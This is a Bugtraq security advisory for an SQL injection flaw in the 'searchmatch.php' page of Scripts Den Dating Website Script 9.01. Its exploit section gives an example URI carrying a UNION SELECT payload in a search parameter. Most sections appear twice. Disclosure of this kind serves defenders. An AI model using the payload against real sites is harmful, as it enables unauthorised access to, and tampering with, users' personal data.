Scripts Den Dating Website Script 'searchmatch.php' SQL Injection Vulnerability
BID:33746
Info
Scripts Den Dating Website Script 'searchmatch.php' SQL Injection Vulnerability
| Bugtraq ID: | 33746 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 11 2009 12:00AM |
| Updated: | Mar 27 2009 07:56PM |
| Credit: | nuclear |
| Vulnerable: |
Scripts Den Dating Website Script 9.01 |
| Not Vulnerable: | |
Discussion
Scripts Den Dating Website Script 'searchmatch.php' SQL Injection Vulnerability
Dating Website Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Dating Website Script 9.01 is affected; other versions may also be vulnerable.
Dating Website Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Dating Website Script 9.01 is affected; other versions may also be vulnerable.
Exploit / POC
Scripts Den Dating Website Script 'searchmatch.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/[path]/searchmatch.php?page=2&sort_by=username&sort_order=asc&txtgender=M&txtlookgender=F') union select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23&txtlookagestart=18&txtlookageend=50&with_photo=
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/[path]/searchmatch.php?page=2&sort_by=username&sort_order=asc&txtgender=M&txtlookgender=F') union select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23&txtlookagestart=18&txtlookageend=50&with_photo=
Solution / Fix
Scripts Den Dating Website Script 'searchmatch.php' SQL Injection Vulnerability
Solution:
The vendor has released updates. Please contact the vendor for details.
Solution:
The vendor has released updates. Please contact the vendor for details.
References
Scripts Den Dating Website Script 'searchmatch.php' SQL Injection Vulnerability
References:
References:
- Dating Website Script Homepage (Scripts Den)